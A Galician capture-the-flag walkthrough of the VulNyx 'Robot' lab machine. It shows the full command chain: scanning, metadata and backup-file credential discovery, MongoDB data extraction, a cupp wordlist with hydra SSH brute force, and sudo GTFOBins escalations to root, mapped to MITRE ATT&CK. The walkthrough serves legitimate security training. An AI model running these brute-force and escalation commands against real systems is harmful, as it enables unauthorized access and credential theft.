Robot
Máquina virtual Robot


A máquina Robot é moi interesante porque...
- Metadata en imaxe (exiftool) revela directorio oculto
- MongoDB accesible con credenciais en ficheiro de backup
- Xeración de diccionario personalizado con cupp baseado en datos de MongoDB
- Escalada horizontal en cadea: [usuario1] → [usuario2] → [usuario3] → [usuario4] → root
- Cada usuario ten permisos sudo para executar como o seguinte usuario
- Uso de GTFOBins para explotar sh, python3, e awk
Diagrama de ataque

Fase 1 — Recopilación
sudo arp-scan --interface=eth1 192.168.56.0/24
ping -c2 IP_VulNyx_Robot -R # TTL ≃ 64 ⇒ GNU/Linux, TTL ≃ 128 ⇒ Microsoft Windows
sudo nmap -sS -Pn -T4 -p- -vvv --min-rate 5000 IP_VulNyx_Robot # 22,80,27017
whatweb IP_VulNyx_Robot
curl -I IP_VulNyx_Robot
Fase 2 — Análise
# Porto 27017 → MongoDB
# Porto 80 → HTTP
# Análise da web
firefox http://IP_VulNyx_Robot &
# Descarga de imaxe
wget http://IP_VulNyx_Robot/image.jpg
# Extracción de metadata con exiftool
exiftool image.jpg
# Comment: B4ckUp_3LLi0t/
# Exploración do directorio descuberto
firefox http://IP_VulNyx_Robot/B4ckUp_3LLi0t/ &
# Descarga de image2.jpg
# Enumeración con gobuster (extensións de backup)
gobuster dir -u http://IP_VulNyx_Robot/B4ckUp_3LLi0t/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x dump,db,bak,mongo,sql
# Ficheiro descuberto: /connect.bak (Status: 200)
# Descarga e análise de connect.bak
wget http://IP_VulNyx_Robot/B4ckUp_3LLi0t/connect.bak
file connect.bak # PHP script, ASCII text
cat connect.bak
# Credenciais MongoDB:
# username: [usermongo]
# password: [passmongo]
# replicaSet: [replicaset]
# db: [usuario1]
# Nota: ssl => true é unha trampa (non necesario)
# Instalación de mongosh en Kali (se non está instalado)
# Instalar dependencias
sudo apt update
sudo apt install -y gnupg curl ca-certificates
# Baixar a chave GPG pública de MongoDB (exemplo para 7.0)
curl -fsSL https://pgp.mongodb.com/server-7.0.asc | sudo gpg --dearmor -o /usr/share/keyrings/mongodb-server-7.0.gpg
# Engadir o repo (bookworm / amd64)
echo "deb [ signed-by=/usr/share/keyrings/mongodb-server-7.0.gpg ] https://repo.mongodb.org/apt/debian bookworm/mongodb-org/7.0 main" \
| sudo tee /etc/apt/sources.list.d/mongodb-org-7.0.list
sudo apt update
# Instalar só o cliente (se dispoñible): paquete 'mongodb-mongosh' ou 'mongosh'
sudo apt install -y mongodb-mongosh
# Conexión a MongoDB
mongosh "mongodb://[usermongo]:[passmongo]@IP_VulNyx_Robot:27017/[usuario1]?replicaSet=[replicaset]&directConnection=true"
# Enumeración da base de datos
show collections
# Colección: [usuario1]
db.[usuario1].find()
# Datos atopados:
# Firstname: Elliot
# Surname: Alderson
# Nickname: MrRobot
# Birthdate: 17091986
Fase 3 — Explotación
# Xeración de diccionario personalizado con cupp
apt -y install cupp
cupp -i
# Introducir datos:
# - Nome: Elliot
# - Apelido: Alderson
# - Nickname: MrRobot
# - Data de nacemento: 17091986
# Diccionario xerado: [usuario1].txt
# Ataque de forza bruta SSH con diccionario personalizado
hydra -l [usuario1] -P [usuario1].txt ssh://IP_VulNyx_Robot -F -V -t 64
# Contrasinal atopada: [password]
# Acceso SSH
ssh [usuario1]@IP_VulNyx_Robot
# Password: [password]
# ⇒ Conseguimos consola de usuario [usuario1] (flag user.txt)
Fase 4 — Post‑explotación
# Enumeración de permisos sudo (usuario [usuario1])
sudo -l
# ([usuario2]) NOPASSWD: /usr/bin/sh
# Escalada horizontal a [usuario2]
sudo -u [usuario2] /usr/bin/sh
# ⇒ Conseguimos shell como usuario [usuario2]
# Enumeración de permisos sudo (usuario [usuario2])
sudo -l
# ([usuario3]) NOPASSWD: /usr/bin/python3
# Consulta en GTFOBins(https://gtfobins.github.io/) para python3
# Escalada horizontal a [usuario3]
sudo -u [usuario3] python3 -c 'import os; os.execl("/bin/sh", "sh", "-p")'
# ⇒ Conseguimos shell como usuario [usuario3]
# Enumeración de permisos sudo (usuario [usuario3])
sudo -l
# ([usuario4]) NOPASSWD: /usr/bin/awk
# Consulta en GTFOBins(https://gtfobins.github.io/) para awk
# Escalada horizontal a [usuario4]
sudo -u [usuario4] awk 'BEGIN {system("/bin/sh")}'
# ⇒ Conseguimos shell como usuario [usuario4]
# Enumeración de permisos sudo (usuario [usuario4])
sudo -l
# (root) NOPASSWD: /usr/bin/zzuff
# Consulta do manual de zzuff
man zzuff
# Escalada vertical a root
sudo /usr/bin/zzuff bash
# ⇒ Conseguimos shell de root
# Verificación
whoami # root
cd /root
cat root.txt # ⇒ Flag de root conseguida
Correspondencia de fases → MITRE ATT&CK — VulNyx: Robot
| Fase | Acción / Resumo | Vector principal | MITRE ATT&CK (IDs) | CWE(s) (relevantes) |
|---|---|---|---|---|
| 1. Recopilación | Descubrimento de host e servizos expostos | Scanning / descubrimento de servizos | T1595 — Active Scanning T1046 — Network Service Discovery |
CWE-200 — Information Exposure (reconnaissance) |
| 2. Análise | Extracción de metadata de imaxe con exiftool | Metadata extraction | T1592 — Gather Victim Host Information T1083 — File and Directory Discovery |
CWE-212 — Improper Removal of Sensitive Information Before Storage or Transfer |
| Descubrimento de ficheiro de backup con credenciais | Credential discovery | T1552.001 — Unsecured Credentials: Credentials In Files T1083 — File and Directory Discovery |
CWE-522 — Insufficiently Protected Credentials; CWE-312 — Cleartext Storage of Sensitive Information | |
| Acceso a MongoDB e extracción de datos persoais | Database enumeration | T1213 — Data from Information Repositories T1078 — Valid Accounts |
CWE-284 — Improper Access Control | |
| 3. Explotación | Xeración de diccionario con cupp baseado en datos persoais | Custom wordlist generation | T1589 — Gather Victim Identity Information T1110.001 — Brute Force: Password Guessing |
CWE-521 — Weak Password Requirements |
| Ataque de forza bruta SSH con diccionario personalizado | Targeted brute-force | T1110.001 — Brute Force: Password Guessing T1021.004 — Remote Services: SSH |
CWE-521 — Weak Password Requirements; CWE-307 — Improper Restriction of Excessive Authentication Attempts | |
| 4. Post-explotación | Escalada horizontal mediante cadea de usuarios con sudo | Lateral movement chain | T1548.003 — Abuse Elevation Control Mechanism: Sudo and Sudo Caching T1078.003 — Valid Accounts: Local Accounts |
CWE-269 — Improper Privilege Management |
| Abuso de sh, python3, awk con sudo (GTFOBins) | Command execution via sudo | T1548.003 — Abuse Elevation Control Mechanism: Sudo and Sudo Caching T1059 — Command and Scripting Interpreter |
CWE-269 — Improper Privilege Management; CWE-284 — Improper Access Control | |
| Abuso de zzuff con sudo para escalada a root | Privilege escalation to root | T1548.003 — Abuse Elevation Control Mechanism: Sudo and Sudo Caching T1059.004 — Command and Scripting Interpreter: Unix Shell |
CWE-269 — Improper Privilege Management |